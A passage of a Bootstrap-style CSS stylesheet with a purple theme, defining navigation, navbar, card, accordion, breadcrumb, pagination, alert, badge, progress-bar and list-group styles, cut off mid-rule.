.nav-link.disabled { color: var(--bs-nav-link-disabled-color); pointer-events: none; cursor: default; } .nav-tabs { --bs-nav-tabs-border-width: 1px; --bs-nav-tabs-border-color: #dee2e6; --bs-nav-tabs-border-radius: 10px; --bs-nav-tabs-link-hover-border-color: #e9ecef #e9ecef #dee2e6; --bs-nav-tabs-link-active-color: #495057; --bs-nav-tabs-link-active-bg: #ffffff; --bs-nav-tabs-link-active-border-color: #dee2e6 #dee2e6 #ffffff; border-bottom: var(--bs-nav-tabs-border-width) solid var(--bs-nav-tabs-border-color); } .nav-tabs .nav-link { margin-bottom: calc(-1 * var(--bs-nav-tabs-border-width)); background: none; border: var(--bs-nav-tabs-border-width) solid transparent; border-top-left-radius: var(--bs-nav-tabs-border-radius); border-top-right-radius: var(--bs-nav-tabs-border-radius); } .nav-tabs .nav-link:hover, .nav-tabs .nav-link:focus { isolation: isolate; border-color: var(--bs-nav-tabs-link-hover-border-color); } .nav-tabs .nav-link.disabled, .nav-tabs .nav-link:disabled { color: var(--bs-nav-link-disabled-color); background-color: transparent; border-color: transparent; } .nav-tabs .nav-link.active, .nav-tabs .nav-item.show .nav-link { color: var(--bs-nav-tabs-link-active-color); background-color: var(--bs-nav-tabs-link-active-bg); border-color: var(--bs-nav-tabs-link-active-border-color); } .nav-tabs .dropdown-menu { margin-top: calc(-1 * var(--bs-nav-tabs-border-width)); border-top-left-radius: 0; border-top-right-radius: 0; } .nav-pills { --bs-nav-pills-border-radius: 10px; --bs-nav-pills-link-active-color: #ffffff; --bs-nav-pills-link-active-bg: #51459d; } .nav-pills .nav-link { background: none; border: 0; border-radius: var(--bs-nav-pills-border-radius); } .nav-pills .nav-link:disabled { color: var(--bs-nav-link-disabled-color); background-color: transparent; border-color: transparent; } .nav-pills .nav-link.active, .nav-pills .show > .nav-link { color: var(--bs-nav-pills-link-active-color); background-color: var(--bs-nav-pills-link-active-bg); } .nav-fill > .nav-link, .nav-fill .nav-item { flex: 1 1 auto; text-align: center; } .nav-justified > .nav-link, .nav-justified .nav-item { flex-basis: 0; flex-grow: 1; text-align: center; } .nav-fill .nav-item .nav-link, .nav-justified .nav-item .nav-link { width: 100%; } .tab-content > .tab-pane { display: none; } .tab-content > .active { display: block; } .navbar { --bs-navbar-padding-x: 0; --bs-navbar-padding-y: 0.5rem; --bs-navbar-color: rgba(0, 0, 0, 0.55); --bs-navbar-hover-color: rgba(0, 0, 0, 0.7); --bs-navbar-disabled-color: rgba(0, 0, 0, 0.3); --bs-navbar-active-color: rgba(0, 0, 0, 0.9); --bs-navbar-brand-padding-y: 0.33594rem; --bs-navbar-brand-margin-end: 1rem; --bs-navbar-brand-font-size: 1.09375rem; --bs-navbar-brand-color: rgba(0, 0, 0, 0.9); --bs-navbar-brand-hover-color: rgba(0, 0, 0, 0.9); --bs-navbar-nav-link-padding-x: 0.5rem; --bs-navbar-toggler-padding-y: 0.25rem; --bs-navbar-toggler-padding-x: 0.75rem; --bs-navbar-toggler-font-size: 1.09375rem; --bs-navbar-toggler-icon-bg: url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 30 30'%3e%3cpath stroke='rgba%280, 0, 0, 0.55%29' stroke-linecap='round' stroke-miterlimit='10' stroke-width='2' d='M4 7h22M4 15h22M4 23h22'/%3e%3c/svg%3e"); --bs-navbar-toggler-border-color: rgba(0, 0, 0, 0.1); --bs-navbar-toggler-border-radius: 6px; --bs-navbar-toggler-focus-width: 0.2rem; --bs-navbar-toggler-transition: box-shadow 0.15s ease-in-out; position: relative; display: flex; flex-wrap: wrap; align-items: center; justify-content: space-between; padding: var(--bs-navbar-padding-y) var(--bs-navbar-padding-x); } .navbar > .container, .navbar > .container-fluid, .navbar > .container-sm, .navbar > .container-md, .navbar > .container-lg, .navbar > .container-xl, .navbar > .container-xxl { display: flex; flex-wrap: inherit; align-items: center; justify-content: space-between; } .navbar-brand { padding-top: var(--bs-navbar-brand-padding-y); padding-bottom: var(--bs-navbar-brand-padding-y); margin-right: var(--bs-navbar-brand-margin-end); font-size: var(--bs-navbar-brand-font-size); color: var(--bs-navbar-brand-color); white-space: nowrap; } .navbar-brand:hover, .navbar-brand:focus { color: var(--bs-navbar-brand-hover-color); text-decoration: none; } .navbar-nav { --bs-nav-link-padding-x: 0; --bs-nav-link-padding-y: 0.5rem; --bs-nav-link-font-weight: ; --bs-nav-link-color: var(--bs-navbar-color); --bs-nav-link-hover-color: var(--bs-navbar-hover-color); --bs-nav-link-disabled-color: var(--bs-navbar-disabled-color); display: flex; flex-direction: column; padding-left: 0; margin-bottom: 0; list-style: none; } .navbar-nav .show > .nav-link, .navbar-nav .nav-link.active { color: var(--bs-navbar-active-color); } .navbar-nav .dropdown-menu { position: static; } .navbar-text { padding-top: 0.5rem; padding-bottom: 0.5rem; color: var(--bs-navbar-color); } .navbar-text a, .navbar-text a:hover, .navbar-text a:focus { color: var(--bs-navbar-active-color); } .navbar-collapse { flex-basis: 100%; flex-grow: 1; align-items: center; } .navbar-toggler { padding: var(--bs-navbar-toggler-padding-y) var(--bs-navbar-toggler-padding-x); font-size: var(--bs-navbar-toggler-font-size); line-height: 1; color: var(--bs-navbar-color); background-color: transparent; border: var(--bs-border-width) solid var(--bs-navbar-toggler-border-color); border-radius: var(--bs-navbar-toggler-border-radius); transition: var(--bs-navbar-toggler-transition); } @media (prefers-reduced-motion: reduce) { .navbar-toggler { transition: none; } } .navbar-toggler:hover { text-decoration: none; } .navbar-toggler:focus { text-decoration: none; outline: 0; box-shadow: 0 0 0 var(--bs-navbar-toggler-focus-width); } .navbar-toggler-icon { display: inline-block; width: 1.5em; height: 1.5em; vertical-align: middle; background-image: var(--bs-navbar-toggler-icon-bg); background-repeat: no-repeat; background-position: center; background-size: 100%; } .navbar-nav-scroll { max-height: var(--bs-scroll-height, 75vh); overflow-y: auto; } @media (min-width: 576px) { .navbar-expand-sm { flex-wrap: nowrap; justify-content: flex-start; } .navbar-expand-sm .navbar-nav { flex-direction: row; } .navbar-expand-sm .navbar-nav .dropdown-menu { position: absolute; } .navbar-expand-sm .navbar-nav .nav-link { padding-right: var(--bs-navbar-nav-link-padding-x); padding-left: var(--bs-navbar-nav-link-padding-x); } .navbar-expand-sm .navbar-nav-scroll { overflow: visible; } .navbar-expand-sm .navbar-collapse { display: flex !important; flex-basis: auto; } .navbar-expand-sm .navbar-toggler { display: none; } .navbar-expand-sm .offcanvas { position: static; z-index: auto; flex-grow: 1; width: auto !important; height: auto !important; visibility: visible !important; background-color: transparent !important; border: 0 !important; transform: none !important; transition: none; } .navbar-expand-sm .offcanvas .offcanvas-header { display: none; } .navbar-expand-sm .offcanvas .offcanvas-body { display: flex; flex-grow: 0; padding: 0; overflow-y: visible; } } @media (min-width: 768px) { .navbar-expand-md { flex-wrap: nowrap; justify-content: flex-start; } .navbar-expand-md .navbar-nav { flex-direction: row; } .navbar-expand-md .navbar-nav .dropdown-menu { position: absolute; } .navbar-expand-md .navbar-nav .nav-link { padding-right: var(--bs-navbar-nav-link-padding-x); padding-left: var(--bs-navbar-nav-link-padding-x); } .navbar-expand-md .navbar-nav-scroll { overflow: visible; } .navbar-expand-md .navbar-collapse { display: flex !important; flex-basis: auto; } .navbar-expand-md .navbar-toggler { display: none; } .navbar-expand-md .offcanvas { position: static; z-index: auto; flex-grow: 1; width: auto !important; height: auto !important; visibility: visible !important; background-color: transparent !important; border: 0 !important; transform: none !important; transition: none; } .navbar-expand-md .offcanvas .offcanvas-header { display: none; } .navbar-expand-md .offcanvas .offcanvas-body { display: flex; flex-grow: 0; padding: 0; overflow-y: visible; } } @media (min-width: 992px) { .navbar-expand-lg { flex-wrap: nowrap; justify-content: flex-start; } .navbar-expand-lg .navbar-nav { flex-direction: row; } .navbar-expand-lg .navbar-nav .dropdown-menu { position: absolute; } .navbar-expand-lg .navbar-nav .nav-link { padding-right: var(--bs-navbar-nav-link-padding-x); padding-left: var(--bs-navbar-nav-link-padding-x); } .navbar-expand-lg .navbar-nav-scroll { overflow: visible; } .navbar-expand-lg .navbar-collapse { display: flex !important; flex-basis: auto; } .navbar-expand-lg .navbar-toggler { display: none; } .navbar-expand-lg .offcanvas { position: static; z-index: auto; flex-grow: 1; width: auto !important; height: auto !important; visibility: visible !important; background-color: transparent !important; border: 0 !important; transform: none !important; transition: none; } .navbar-expand-lg .offcanvas .offcanvas-header { display: none; } .navbar-expand-lg .offcanvas .offcanvas-body { display: flex; flex-grow: 0; padding: 0; overflow-y: visible; } } @media (min-width: 1200px) { .navbar-expand-xl { flex-wrap: nowrap; justify-content: flex-start; } .navbar-expand-xl .navbar-nav { flex-direction: row; } .navbar-expand-xl .navbar-nav .dropdown-menu { position: absolute; } .navbar-expand-xl .navbar-nav .nav-link { padding-right: var(--bs-navbar-nav-link-padding-x); padding-left: var(--bs-navbar-nav-link-padding-x); } .navbar-expand-xl .navbar-nav-scroll { overflow: visible; } .navbar-expand-xl .navbar-collapse { display: flex !important; flex-basis: auto; } .navbar-expand-xl .navbar-toggler { display: none; } .navbar-expand-xl .offcanvas { position: static; z-index: auto; flex-grow: 1; width: auto !important; height: auto !important; visibility: visible !important; background-color: transparent !important; border: 0 !important; transform: none !important; transition: none; } .navbar-expand-xl .offcanvas .offcanvas-header { display: none; } .navbar-expand-xl .offcanvas .offcanvas-body { display: flex; flex-grow: 0; padding: 0; overflow-y: visible; } } @media (min-width: 1400px) { .navbar-expand-xxl { flex-wrap: nowrap; justify-content: flex-start; } .navbar-expand-xxl .navbar-nav { flex-direction: row; } .navbar-expand-xxl .navbar-nav .dropdown-menu { position: absolute; } .navbar-expand-xxl .navbar-nav .nav-link { padding-right: var(--bs-navbar-nav-link-padding-x); padding-left: var(--bs-navbar-nav-link-padding-x); } .navbar-expand-xxl .navbar-nav-scroll { overflow: visible; } .navbar-expand-xxl .navbar-collapse { display: flex !important; flex-basis: auto; } .navbar-expand-xxl .navbar-toggler { display: none; } .navbar-expand-xxl .offcanvas { position: static; z-index: auto; flex-grow: 1; width: auto !important; height: auto !important; visibility: visible !important; background-color: transparent !important; border: 0 !important; transform: none !important; transition: none; } .navbar-expand-xxl .offcanvas .offcanvas-header { display: none; } .navbar-expand-xxl .offcanvas .offcanvas-body { display: flex; flex-grow: 0; padding: 0; overflow-y: visible; } } .navbar-expand { flex-wrap: nowrap; justify-content: flex-start; } .navbar-expand .navbar-nav { flex-direction: row; } .navbar-expand .navbar-nav .dropdown-menu { position: absolute; } .navbar-expand .navbar-nav .nav-link { padding-right: var(--bs-navbar-nav-link-padding-x); padding-left: var(--bs-navbar-nav-link-padding-x); } .navbar-expand .navbar-nav-scroll { overflow: visible; } .navbar-expand .navbar-collapse { display: flex !important; flex-basis: auto; } .navbar-expand .navbar-toggler { display: none; } .navbar-expand .offcanvas { position: static; z-index: auto; flex-grow: 1; width: auto !important; height: auto !important; visibility: visible !important; background-color: transparent !important; border: 0 !important; transform: none !important; transition: none; } .navbar-expand .offcanvas .offcanvas-header { display: none; } .navbar-expand .offcanvas .offcanvas-body { display: flex; flex-grow: 0; padding: 0; overflow-y: visible; } .navbar-dark { --bs-navbar-color: rgba(255, 255, 255, 0.55); --bs-navbar-hover-color: rgba(255, 255, 255, 0.75); --bs-navbar-disabled-color: rgba(255, 255, 255, 0.25); --bs-navbar-active-color: #ffffff; --bs-navbar-brand-color: #ffffff; --bs-navbar-brand-hover-color: #ffffff; --bs-navbar-toggler-border-color: rgba(255, 255, 255, 0.1); --bs-navbar-toggler-icon-bg: url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 30 30'%3e%3cpath stroke='rgba%28255, 255, 255, 0.55%29' stroke-linecap='round' stroke-miterlimit='10' stroke-width='2' d='M4 7h22M4 15h22M4 23h22'/%3e%3c/svg%3e"); } .card { --bs-card-spacer-y: 25px; --bs-card-spacer-x: 25px; --bs-card-title-spacer-y: 0.5rem; --bs-card-border-width: 0px; --bs-card-border-color: rgba(0, 0, 0, 0.125); --bs-card-border-radius: 10px; --bs-card-box-shadow: ; --bs-card-inner-border-radius: calc(10px - 0px); --bs-card-cap-padding-y: 25px; --bs-card-cap-padding-x: 25px; --bs-card-cap-bg: transparent; --bs-card-cap-color: ; --bs-card-height:; --bs-card-color: ; --bs-card-bg: #ffffff; --bs-card-img-overlay-padding: 1.25rem; --bs-card-group-margin: 0.75rem; position: relative; display: flex; flex-direction: column; min-width: 0; height: var(--bs-card-height); word-wrap: break-word; background-color: var(--bs-card-bg); background-clip: border-box; border: var(--bs-card-border-width) solid var(--bs-card-border-color); border-radius: var(--bs-card-border-radius); } .card > hr { margin-right: 0; margin-left: 0; } .card > .list-group { border-top: inherit; border-bottom: inherit; } .card > .list-group:first-child { border-top-width: 0; border-top-left-radius: var(--bs-card-inner-border-radius); border-top-right-radius: var(--bs-card-inner-border-radius); } .card > .list-group:last-child { border-bottom-width: 0; border-bottom-right-radius: var(--bs-card-inner-border-radius); border-bottom-left-radius: var(--bs-card-inner-border-radius); } .card > .card-header + .list-group, .card > .list-group + .card-footer { border-top: 0; } .card-body { flex: 1 1 auto; padding: var(--bs-card-spacer-y) var(--bs-card-spacer-x); color: var(--bs-card-color); } .card-title { margin-bottom: var(--bs-card-title-spacer-y); } .card-subtitle { margin-top: calc(-.5 * var(--bs-card-title-spacer-y)); margin-bottom: 0; } .card-text:last-child { margin-bottom: 0; } .card-link:hover { text-decoration: none; } .card-link + .card-link { margin-left: var(--bs-card-spacer-x); } .card-header { padding: var(--bs-card-cap-padding-y) var(--bs-card-cap-padding-x); margin-bottom: 0; color: var(--bs-card-cap-color); background-color: var(--bs-card-cap-bg); border-bottom: var(--bs-card-border-width) solid var(--bs-card-border-color); } .card-header:first-child { border-radius: var(--bs-card-inner-border-radius) var(--bs-card-inner-border-radius) 0 0; } .card-footer { padding: var(--bs-card-cap-padding-y) var(--bs-card-cap-padding-x); color: var(--bs-card-cap-color); background-color: var(--bs-card-cap-bg); border-top: var(--bs-card-border-width) solid var(--bs-card-border-color); } .card-footer:last-child { border-radius: 0 0 var(--bs-card-inner-border-radius) var(--bs-card-inner-border-radius); } .card-header-tabs { margin-right: calc(-.5 * var(--bs-card-cap-padding-x)); margin-bottom: calc(-1 * var(--bs-card-cap-padding-y)); margin-left: calc(-.5 * var(--bs-card-cap-padding-x)); border-bottom: 0; } .card-header-tabs .nav-link.active { background-color: var(--bs-card-bg); border-bottom-color: var(--bs-card-bg); } .card-header-pills { margin-right: calc(-.5 * var(--bs-card-cap-padding-x)); margin-left: calc(-.5 * var(--bs-card-cap-padding-x)); } .card-img-overlay { position: absolute; top: 0; right: 0; bottom: 0; left: 0; padding: var(--bs-card-img-overlay-padding); border-radius: var(--bs-card-inner-border-radius); } .card-img, .card-img-top, .card-img-bottom { width: 100%; } .card-img, .card-img-top { border-top-left-radius: var(--bs-card-inner-border-radius); border-top-right-radius: var(--bs-card-inner-border-radius); } .card-img, .card-img-bottom { border-bottom-right-radius: var(--bs-card-inner-border-radius); border-bottom-left-radius: var(--bs-card-inner-border-radius); } .card-group > .card { margin-bottom: var(--bs-card-group-margin); } @media (min-width: 576px) { .card-group { display: flex; flex-flow: row wrap; } .card-group > .card { flex: 1 0 0%; margin-bottom: 0; } .card-group > .card + .card { margin-left: 0; border-left: 0; } .card-group > .card:not(:last-child) { border-top-right-radius: 0; border-bottom-right-radius: 0; } .card-group > .card:not(:last-child) .card-img-top, .card-group > .card:not(:last-child) .card-header { border-top-right-radius: 0; } .card-group > .card:not(:last-child) .card-img-bottom, .card-group > .card:not(:last-child) .card-footer { border-bottom-right-radius: 0; } .card-group > .card:not(:first-child) { border-top-left-radius: 0; border-bottom-left-radius: 0; } .card-group > .card:not(:first-child) .card-img-top, .card-group > .card:not(:first-child) .card-header { border-top-left-radius: 0; } .card-group > .card:not(:first-child) .card-img-bottom, .card-group > .card:not(:first-child) .card-footer { border-bottom-left-radius: 0; } } .accordion { --bs-accordion-color: #293240; --bs-accordion-bg: transparent; --bs-accordion-transition: color 0.15s ease-in-out, background-color 0.15s ease-in-out, border-color 0.15s ease-in-out, box-shadow 0.15s ease-in-out, border-radius 0.15s ease; --bs-accordion-border-color: rgba(0, 0, 0, 0.125); --bs-accordion-border-width: 1px; --bs-accordion-border-radius: 10px; --bs-accordion-inner-border-radius: 9px; --bs-accordion-btn-padding-x: 1.25rem; --bs-accordion-btn-padding-y: 1rem; --bs-accordion-btn-color: #293240; --bs-accordion-btn-bg: transparent; --bs-accordion-btn-icon: url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 16 16' fill='%23293240'%3e%3cpath fill-rule='evenodd' d='M1.646 4.646a.5.5 0 0 1 .708 0L8 10.293l5.646-5.647a.5.5 0 0 1 .708.708l-6 6a.5.5 0 0 1-.708 0l-6-6a.5.5 0 0 1 0-.708z'/%3e%3c/svg%3e"); --bs-accordion-btn-icon-width: 1.25rem; --bs-accordion-btn-icon-transform: rotate(180deg); --bs-accordion-btn-icon-transition: transform 0.2s ease-in-out; --bs-accordion-btn-active-icon: url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 16 16' fill='%23252d3a'%3e%3cpath fill-rule='evenodd' d='M1.646 4.646a.5.5 0 0 1 .708 0L8 10.293l5.646-5.647a.5.5 0 0 1 .708.708l-6 6a.5.5 0 0 1-.708 0l-6-6a.5.5 0 0 1 0-.708z'/%3e%3c/svg%3e"); --bs-accordion-btn-focus-border-color: #51459d; --bs-accordion-btn-focus-box-shadow: 0 0 0 0.2rem rgba(81, 69, 157, 0.25); --bs-accordion-body-padding-x: 1.25rem; --bs-accordion-body-padding-y: 1rem; --bs-accordion-active-color: #252d3a; --bs-accordion-active-bg: #e8e9ea; } .accordion-button { position: relative; display: flex; align-items: center; width: 100%; padding: var(--bs-accordion-btn-padding-y) var(--bs-accordion-btn-padding-x); font-size: 0.875rem; color: var(--bs-accordion-btn-color); text-align: left; background-color: var(--bs-accordion-btn-bg); border: 0; border-radius: 0; overflow-anchor: none; transition: var(--bs-accordion-transition); } @media (prefers-reduced-motion: reduce) { .accordion-button { transition: none; } } .accordion-button:not(.collapsed) { color: var(--bs-accordion-active-color); background-color: var(--bs-accordion-active-bg); box-shadow: inset 0 calc(-1 * var(--bs-accordion-border-width)) 0 var(--bs-accordion-border-color); } .accordion-button:not(.collapsed)::after { background-image: var(--bs-accordion-btn-active-icon); transform: var(--bs-accordion-btn-icon-transform); } .accordion-button::after { flex-shrink: 0; width: var(--bs-accordion-btn-icon-width); height: var(--bs-accordion-btn-icon-width); margin-left: auto; content: ""; background-image: var(--bs-accordion-btn-icon); background-repeat: no-repeat; background-size: var(--bs-accordion-btn-icon-width); transition: var(--bs-accordion-btn-icon-transition); } @media (prefers-reduced-motion: reduce) { .accordion-button::after { transition: none; } } .accordion-button:hover { z-index: 2; } .accordion-button:focus { z-index: 3; border-color: var(--bs-accordion-btn-focus-border-color); outline: 0; box-shadow: var(--bs-accordion-btn-focus-box-shadow); } .accordion-header { margin-bottom: 0; } .accordion-item { color: var(--bs-accordion-color); background-color: var(--bs-accordion-bg); border: var(--bs-accordion-border-width) solid var(--bs-accordion-border-color); } .accordion-item:first-of-type { border-top-left-radius: var(--bs-accordion-border-radius); border-top-right-radius: var(--bs-accordion-border-radius); } .accordion-item:first-of-type .accordion-button { border-top-left-radius: var(--bs-accordion-inner-border-radius); border-top-right-radius: var(--bs-accordion-inner-border-radius); } .accordion-item:not(:first-of-type) { border-top: 0; } .accordion-item:last-of-type { border-bottom-right-radius: var(--bs-accordion-border-radius); border-bottom-left-radius: var(--bs-accordion-border-radius); } .accordion-item:last-of-type .accordion-button.collapsed { border-bottom-right-radius: var(--bs-accordion-inner-border-radius); border-bottom-left-radius: var(--bs-accordion-inner-border-radius); } .accordion-item:last-of-type .accordion-collapse { border-bottom-right-radius: var(--bs-accordion-border-radius); border-bottom-left-radius: var(--bs-accordion-border-radius); } .accordion-body { padding: var(--bs-accordion-body-padding-y) var(--bs-accordion-body-padding-x); } .accordion-flush .accordion-collapse { border-width: 0; } .accordion-flush .accordion-item { border-right: 0; border-left: 0; border-radius: 0; } .accordion-flush .accordion-item:first-child { border-top: 0; } .accordion-flush .accordion-item:last-child { border-bottom: 0; } .accordion-flush .accordion-item .accordion-button, .accordion-flush .accordion-item .accordion-button.collapsed { border-radius: 0; } .breadcrumb { --bs-breadcrumb-padding-x: 0; --bs-breadcrumb-padding-y: 0; --bs-breadcrumb-margin-bottom: 1rem; --bs-breadcrumb-bg: ; --bs-breadcrumb-border-radius:; --bs-breadcrumb-divider-color: #6c757d; --bs-breadcrumb-item-padding-x: 0.5rem; --bs-breadcrumb-item-active-color: #6c757d; display: flex; flex-wrap: wrap; padding: var(--bs-breadcrumb-padding-y) var(--bs-breadcrumb-padding-x); margin-bottom: var(--bs-breadcrumb-margin-bottom); font-size: var(--bs-breadcrumb-font-size); list-style: none; background-color: var(--bs-breadcrumb-bg); border-radius: var(--bs-breadcrumb-border-radius); } .breadcrumb-item + .breadcrumb-item { padding-left: var(--bs-breadcrumb-item-padding-x); } .breadcrumb-item + .breadcrumb-item::before { float: left; padding-right: var(--bs-breadcrumb-item-padding-x); color: var(--bs-breadcrumb-divider-color); content: var(--bs-breadcrumb-divider, url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 24 24' width='14' height='14' stroke='%236c757d' stroke-width='2' fill='none' stroke-linecap='round' stroke-linejoin='round' class='css-i6dzq1'%3E%3Cpolyline points='9 18 15 12 9 6'%3E%3C/polyline%3E%3C/svg%3E")) /* rtl: var(--bs-breadcrumb-divider, url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 24 24' width='14' height='14' stroke='%236c757d' stroke-width='2' fill='none' stroke-linecap='round' stroke-linejoin='round' class='css-i6dzq1'%3E%3Cpolyline points='9 18 15 12 9 6'%3E%3C/polyline%3E%3C/svg%3E")) */; } .breadcrumb-item.active { color: var(--bs-breadcrumb-item-active-color); } .pagination { --bs-pagination-padding-x: 0.75rem; --bs-pagination-padding-y: 0.375rem; --bs-pagination-font-size: 1rem; --bs-pagination-color: #51459d; --bs-pagination-bg: #ffffff; --bs-pagination-border-width: 1px; --bs-pagination-border-color: #dee2e6; --bs-pagination-border-radius: 10px; --bs-pagination-hover-color: #51459d; --bs-pagination-hover-bg: #f8f9fd; --bs-pagination-hover-border-color: #dee2e6; --bs-pagination-focus-color: #51459d; --bs-pagination-focus-bg: #e9ecef; --bs-pagination-focus-box-shadow: 0 0 0 0.2rem rgba(81, 69, 157, 0.25); --bs-pagination-active-color: #ffffff; --bs-pagination-active-bg: #51459d; --bs-pagination-active-border-color: #51459d; --bs-pagination-disabled-color: #6c757d; --bs-pagination-disabled-bg: #ffffff; --bs-pagination-disabled-border-color: #dee2e6; display: flex; padding-left: 0; list-style: none; } .page-link { position: relative; display: block; padding: var(--bs-pagination-padding-y) var(--bs-pagination-padding-x); font-size: var(--bs-pagination-font-size); color: var(--bs-pagination-color); background-color: var(--bs-pagination-bg); border: var(--bs-pagination-border-width) solid var(--bs-pagination-border-color); transition: color 0.15s ease-in-out, background-color 0.15s ease-in-out, border-color 0.15s ease-in-out, box-shadow 0.15s ease-in-out; } @media (prefers-reduced-motion: reduce) { .page-link { transition: none; } } .page-link:hover { z-index: 2; color: var(--bs-pagination-hover-color); text-decoration: none; background-color: var(--bs-pagination-hover-bg); border-color: var(--bs-pagination-hover-border-color); } .page-link:focus { z-index: 3; color: var(--bs-pagination-focus-color); background-color: var(--bs-pagination-focus-bg); outline: 0; box-shadow: var(--bs-pagination-focus-box-shadow); } .page-link.active, .active > .page-link { z-index: 3; color: var(--bs-pagination-active-color); background-color: var(--bs-pagination-active-bg); border-color: var(--bs-pagination-active-border-color); } .page-link.disabled, .disabled > .page-link { color: var(--bs-pagination-disabled-color); pointer-events: none; background-color: var(--bs-pagination-disabled-bg); border-color: var(--bs-pagination-disabled-border-color); } .page-item:not(:first-child) .page-link { margin-left: -1px; } .page-item:first-child .page-link { border-top-left-radius: var(--bs-pagination-border-radius); border-bottom-left-radius: var(--bs-pagination-border-radius); } .page-item:last-child .page-link { border-top-right-radius: var(--bs-pagination-border-radius); border-bottom-right-radius: var(--bs-pagination-border-radius); } .pagination-lg { --bs-pagination-padding-x: 1.5rem; --bs-pagination-padding-y: 0.75rem; --bs-pagination-font-size: 1.09375rem; --bs-pagination-border-radius: 15px; } .pagination-sm { --bs-pagination-padding-x: 0.5rem; --bs-pagination-padding-y: 0.25rem; --bs-pagination-font-size: 0.76563rem; --bs-pagination-border-radius: 8px; } .badge { --bs-badge-padding-x: 0.5em; --bs-badge-padding-y: 0.35em; --bs-badge-font-size: 0.75em; --bs-badge-font-weight: 500; --bs-badge-color: #ffffff; --bs-badge-border-radius: 2px; display: inline-block; padding: var(--bs-badge-padding-y) var(--bs-badge-padding-x); font-size: var(--bs-badge-font-size); font-weight: var(--bs-badge-font-weight); line-height: 1; color: var(--bs-badge-color); text-align: center; white-space: nowrap; vertical-align: baseline; border-radius: var(--bs-badge-border-radius); } .badge:empty { display: none; } .btn .badge { position: relative; top: -1px; } .alert { --bs-alert-bg: transparent; --bs-alert-padding-x: 1.25rem; --bs-alert-padding-y: 0.75rem; --bs-alert-margin-bottom: 1rem; --bs-alert-color: inherit; --bs-alert-border-color: transparent; --bs-alert-border: 1px solid var(--bs-alert-border-color); --bs-alert-border-radius: 10px; position: relative; padding: var(--bs-alert-padding-y) var(--bs-alert-padding-x); margin-bottom: var(--bs-alert-margin-bottom); color: var(--bs-alert-color); background-color: var(--bs-alert-bg); border: var(--bs-alert-border); border-radius: var(--bs-alert-border-radius); } .alert-heading { color: inherit; } .alert-link { font-weight: 700; } .alert-dismissible { padding-right: 3.75rem; } .alert-dismissible .btn-close { position: absolute; top: 0; right: 0; z-index: 2; padding: 0.9375rem 1.25rem; } .alert-primary { --bs-alert-color: #31295e; --bs-alert-bg: #dcdaeb; --bs-alert-border-color: #cbc7e2; } .alert-primary .alert-link { color: #27214b; } .alert-secondary { --bs-alert-color: #41464b; --bs-alert-bg: #e2e3e5; --bs-alert-border-color: #d3d6d8; } .alert-secondary .alert-link { color: #34383c; } .alert-success { --bs-alert-color: #438228; --bs-alert-bg: #e2f7d9; --bs-alert-border-color: #d4f4c7; } .alert-success .alert-link { color: #366820; } .alert-info { --bs-alert-color: #257980; --bs-alert-bg: #d8f4f7; --bs-alert-border-color: #c5eff3; } .alert-info .alert-link { color: #1e6166; } .alert-warning { --bs-alert-color: #996111; --bs-alert-bg: #ffecd2; --bs-alert-border-color: #ffe3bb; } .alert-warning .alert-link { color: #7a4e0e; } .alert-danger { --bs-alert-color: #992342; --bs-alert-bg: #ffd8e2; --bs-alert-border-color: #ffc4d4; } .alert-danger .alert-link { color: #7a1c35; } .alert-light { --bs-alert-color: #959596; --bs-alert-bg: #fefefe; --bs-alert-border-color: #fdfdfe; } .alert-light .alert-link { color: #777778; } .alert-dark { --bs-alert-color: #11151c; --bs-alert-bg: #d2d3d5; --bs-alert-border-color: #bbbdc1; } .alert-dark .alert-link { color: #0e1116; } @keyframes progress-bar-stripes { 0% { background-position-x: 1rem; } } .progress { --bs-progress-height: 1rem; --bs-progress-font-size: 0.65625rem; --bs-progress-bg: #f8f9fd; --bs-progress-border-radius: 10px; --bs-progress-box-shadow: inset 0 0.1rem 0.1rem rgba(0, 0, 0, 0.1); --bs-progress-bar-color: #ffffff; --bs-progress-bar-bg: #51459d; --bs-progress-bar-transition: width 0.6s ease; display: flex; height: var(--bs-progress-height); overflow: hidden; font-size: var(--bs-progress-font-size); background-color: var(--bs-progress-bg); border-radius: var(--bs-progress-border-radius); } .progress-bar { display: flex; flex-direction: column; justify-content: center; overflow: hidden; color: var(--bs-progress-bar-color); text-align: center; white-space: nowrap; background-color: var(--bs-progress-bar-bg); transition: var(--bs-progress-bar-transition); } @media (prefers-reduced-motion: reduce) { .progress-bar { transition: none; } } .progress-bar-striped { background-image: linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent); background-size: var(--bs-progress-height) var(--bs-progress-height); } .progress-bar-animated { animation: 1s linear infinite progress-bar-stripes; } @media (prefers-reduced-motion: reduce) { .progress-bar-animated { animation: none; } } .list-group { --bs-list-group-color: #212529; --bs-list-group-bg: #ffffff; --bs-list-group-border-color: #f1f1f1; --bs-list-group-border-width: 1px; --bs-list-group-border-radius: 10px; --bs-list-group-item-padding-x: 25px; --bs-list-group-item-padding-y: 16.66667px; --bs-list-group-action-color: #495057; --bs-list-group-action-hover-color: #495057; --bs-list-group-action-hover-bg: #f8f9fa; --bs-list-group-action-active-color: #293240; --bs-list-group-action-active-bg: #e9ecef; --bs-list-group-disabled-color: #6c757d; --bs-list-group-disabled-bg: #ffffff; --bs-list-group-active-color: #ffffff; --bs-list-group-active-bg: #51459d; --bs-list-group-active-border-color: #51459d; display: flex; flex-direction: column; padding-left: 0; margin-bottom: 0; border-radius: var(--bs-list-group-border-radius); } .list-group-numbered { list-style-type: none; counter-reset: section; } .list-group-numbered > .list-group-item::before { content: counters(section, ".") ". "; counter-increment: section; } .list-group-item-action { width: 100%; color: var(--bs-list-group-action-color); text-align: inherit; } .list-group-item-action:hover, .list-group-item-action:focus { z-index: 1; color: var(--bs-list-group-action-hover-color); text-decoration: none; background-color: var(--bs-list-group-action-hover-bg); } .list-group-item-action:active { color: var(--bs-list-group-action-active-color); background-color: var(--bs-list-group-action-active-bg); } .list-group-item { position: relative; display: block; padding: var(--bs-list-group-item-padding-y) 